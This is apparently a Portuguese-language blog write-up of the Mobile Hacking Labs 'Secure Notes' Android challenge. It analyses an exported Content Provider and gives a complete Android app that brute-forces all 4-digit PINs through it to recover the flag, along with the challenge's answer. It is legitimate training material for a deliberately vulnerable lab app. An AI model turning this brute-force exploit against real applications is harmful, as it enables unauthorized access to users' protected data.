[MHL] Secure Notes - Abuso de Content Provider no Android
Introdução
Continuando a série de Write-Ups para os desafios do Mobile Hacking Labs, este blogpost descreve minha solução para "Secure Notes", um Lab Android projetado para praticar a exploração de Content Providers no Android.

Índice
O App
O Mobile Hacking Lab apresenta "Secure Notes" como uma aplicação projetada para armazenar informações sensíveis protegidas por um código PIN. A descrição do desafio sugere que a aplicação pode ter falhas de segurança em sua implementação que poderiam permitir a um atacante quebrar a proteção do PIN.
Manifest Android
Como de costume, comecei o desafio fazendo engenharia reversa do APK e analisando o arquivo AndroidManifest.xml. A parte principal do manifest e do desafio está relacionada ao seguinte trecho:
<!-- ... -->
<provider
android:name="com.mobilehackinglab.securenotes.SecretDataProvider"
android:enabled="true"
android:exported="true"
android:authorities="com.mobilehackinglab.securenotes.secretprovider"/>
<!-- ... -->
Podemos notar uma declaração de um Content Provider, SecretDataProvider, que está exportado (android:exported="true") e é acessível consultando a URI content://com.mobilehackinglab.securenotes.secretprovider, que pode ser notada pelo atributo android:authorities.
Content Provider é um Componente Android usado para abstrair manipulação de dados, geralmente entre aplicações. Ele se comporta de forma muito similar a bancos de dados onde você pode consultá-lo, editar seu conteúdo, bem como adicionar ou deletar conteúdo usando os métodos
query,insert(),update()edelete().
Para testar o provider encontrado, podemos usar a CLI content dentro de um shell ADB.
adb shell content query --uri content://com.mobilehackinglab.securenotes.secretprovider
No entanto, nenhum resultado será encontrado executando este comando. Felizmente, podemos ler o código do content provider para entender como ele funciona.
Código do SecretDataProvider
Lendo o código do SecretDataProvider, é possível notar que o app define algumas variáveis de um arquivo de asset config.properties.
package com.mobilehackinglab.securenotes;
// ...
public final class SecretDataProvider extends ContentProvider {
private byte[] encryptedSecret;
private int iterationCount;
private byte[] iv;
private byte[] salt;
@Override // android.content.ContentProvider
public boolean onCreate() throws IOException {
AssetManager assets;
InputStream inputStreamOpen;
Properties properties = new Properties();
Context context = getContext();
if (context != null && (assets = context.getAssets()) != null && (inputStreamOpen = assets.open("config.properties")) != null) {
InputStream inputStream = inputStreamOpen;
try {
InputStream it = inputStream;
properties.load(it);
byte[] bArrDecode = Base64.decode(properties.getProperty("encryptedSecret"), 0);
this.encryptedSecret = bArrDecode;
byte[] bArrDecode2 = Base64.decode(properties.getProperty("salt"), 0);
this.salt = bArrDecode2;
byte[] bArrDecode3 = Base64.decode(properties.getProperty("iv"), 0);
this.iv = bArrDecode3;
String property = properties.getProperty("iterationCount");
this.iterationCount = Integer.parseInt(property);
Unit unit = Unit.INSTANCE;
CloseableKt.closeFinally(inputStream, null);
return true;
} catch (Throwable th) {
try {
throw th;
} catch (Throwable th2) {
CloseableKt.closeFinally(inputStream, th);
throw th2;
}
}
}
return true;
}
encryptedSecret=bTjBHijMAVQX+CoyFbDPJXRUSHcTyzGaie3OgVqvK5w=
salt=m2UvPXkvte7fygEeMr0WUg==
iv=L15Je6YfY5owgIckR9R3DQ==
iterationCount=10000
Além do onCreate, o único método implementado das classes ContentProvider no provider customizado é query() com o seguinte código:
package com.mobilehackinglab.securenotes;
// ...
public final class SecretDataProvider extends ContentProvider {
// ...
@Override // android.content.ContentProvider
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
Object objM130constructorimpl;
MatrixCursor matrixCursor = null;
if (selection == null || !StringsKt.startsWith$default(selection, "pin=", false, 2, (Object) null)) {
return null;
}
String strRemovePrefix = StringsKt.removePrefix(selection, (CharSequence) "pin=");
try {
StringCompanionObject stringCompanionObject = StringCompanionObject.INSTANCE;
String str = String.format("%04d", Arrays.copyOf(new Object[]{Integer.valueOf(Integer.parseInt(strRemovePrefix))}, 1));
try {
Result.Companion companion = Result.INSTANCE;
SecretDataProvider $this$query_u24lambda_u241 = this;
objM130constructorimpl = Result.m130constructorimpl($this$query_u24lambda_u241.decryptSecret(str));
} catch (Throwable th) {
Result.Companion companion2 = Result.INSTANCE;
objM130constructorimpl = Result.m130constructorimpl(ResultKt.createFailure(th));
}
if (Result.m136isFailureimpl(objM130constructorimpl)) {
objM130constructorimpl = null;
}
String secret = (String) objM130constructorimpl;
if (secret != null) {
MatrixCursor $this$query_u24lambda_u243_u24lambda_u242 = new MatrixCursor(new String[]{"Secret"});
$this$query_u24lambda_u243_u24lambda_u242.addRow(new String[]{secret});
matrixCursor = $this$query_u24lambda_u243_u24lambda_u242;
}
return matrixCursor;
} catch (NumberFormatException e) {
return null;
}
}
Como pode ser visto no código, a função query() usa a seleção pin na consulta para tentar descriptografar uma mensagem na função decryptSecret. A função também fornece uma dica importante sobre o formato do pin, usando o String.format para torná-lo de 4 dígitos.
Criando um Exploit para o App
Após analisar a aplicação, pudemos destacar duas principais fraquezas no código do app:
SecretDataProviderestá exportado sem restrições ou proteções;- O PIN usado na descriptografia é fraco e poderia ser recuperado através de força bruta em todas as opções de 4 dígitos
Para resolver este desafio, desenvolvi uma aplicação para fazer um ataque de força bruta no content provider. Os principais passos para fazer isso são:
-
Adicionar tag
<queries>noAndroidManifest.xmlapontando para permitir que a aplicação interaja com o content provider alvo<queries> <package android:name="com.mobilehackinglab.securenotes" /> </queries> -
Implementar uma interação básica com o content provider, passando um PIN e validando o resultado da consulta.
private String checkPin(String pin) { try { String secret = null; Uri uri = Uri.parse("content://com.mobilehackinglab.securenotes.secretprovider"); String selection = "pin=" + pin; Cursor cursor = getContentResolver().query(uri, null, selection, null, null); if (cursor != null) { if (cursor.moveToFirst()) { int secretColumnIndex = cursor.getColumnIndex("Secret"); if (secretColumnIndex != -1) { secret = cursor.getString(secretColumnIndex); if (secret != null && !secret.isEmpty()) { Log.d(TAG_FOUND, "SECRET FOUND with PIN " + pin + ": " + secret); } } } cursor.close(); } return secret; } catch (Exception e) { Log.e(TAG, "Error querying provider with PIN " + pin, e); return null; } } -
Força bruta em todos os dígitos de 0 a 9999 usando formato de 4 dígitos
for (int pin = 0; pin < 10000; pin++) { String pinString = String.format("%04d", pin); String secret = checkPin(pinString); }
A implementação final itera todos os possíveis PINs de 4 dígitos consultando o Content Provider vulnerável com cada um deles.
package me.regne.pinextractor;
import android.database.Cursor;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import android.widget.ProgressBar;
import android.widget.TextView;
import androidx.activity.EdgeToEdge;
import androidx.appcompat.app.AppCompatActivity;
public class MainActivity extends AppCompatActivity {
private static final String TAG = "PinExtractor";
private static final String TAG_FOUND = "PinFound";
private TextView textView;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
EdgeToEdge.enable(this);
setContentView(R.layout.activity_main);
textView = findViewById(R.id.textView);
textView.setText("Searching...");
ProgressBar progressBar = findViewById(R.id.progressBar); // initiate the progress bar
progressBar.setMax(9999);
Thread th = new Thread(() -> {
for (int pin = 0; pin < 10000; pin++) {
String pinString = String.format("%04d", pin);
Log.d(TAG, "Testing PIN: " + pinString);
runOnUiThread(() -> {
textView.setText("Testing PIN: " + pinString);
progressBar.setProgress(Integer.parseInt(pinString));
});
String secret = checkPin(pinString);
if (secret != null && secret.contains("CTF{")) {
Log.i(TAG_FOUND, "PIN FOUND: " + pin);
final String foundSecret = secret;
runOnUiThread(() -> textView.setText("PIN FOUND: " + pinString + "\n" + foundSecret));
return;
}
}
runOnUiThread(() -> textView.setText("Search completed. No valid PIN found."));
});
th.start();
}
private String checkPin(String pin) {
try {
String secret = null;
Uri uri = Uri.parse("content://com.mobilehackinglab.securenotes.secretprovider");
String selection = "pin=" + pin;
Log.d(TAG, "Querying with selection: " + selection);
Cursor cursor = getContentResolver().query(uri, null, selection, null, null);
if (cursor != null) {
if (cursor.moveToFirst()) {
int secretColumnIndex = cursor.getColumnIndex("Secret");
if (secretColumnIndex != -1) {
secret = cursor.getString(secretColumnIndex);
if (secret != null && !secret.isEmpty()) {
Log.d(TAG_FOUND, "SECRET FOUND with PIN " + pin + ": " + secret);
}
}
}
cursor.close();
}
return secret;
} catch (Exception e) {
Log.e(TAG, "Error querying provider with PIN " + pin, e);
return null;
}
}
}
O código final é mais longo que o necessário, mas é uma solução mais elegante. Note também que uma condição foi adicionada para validar se a mensagem descriptografada contém a string CTF{, isso foi adicionado após resolver o desafio, porque a consulta do content provider retorna o resultado de qualquer operação de descriptografia bem-sucedida, já que no AES, uma descriptografia programaticamente bem-sucedida (que significa uma operação matemática válida sem gerar exceções) poderia retornar um resultado inválido.

Após alguns segundos executando o app, o PIN correto (2580) foi descoberto. Com este PIN, a aplicação foi capaz de consultar com sucesso o Content Provider e recuperar a nota secreta criptografada: CTF{D1d_y0u_gu3ss_1t!1?}.
O código completo dos apps está disponível em um repositório do GitHub, juntamente com outras soluções de desafios da Mobile Hacking Labs.
Espero que tenham gostado deste write up e aprendido algo novo. Até mais, e lembrem-se: hack all the things! 👾
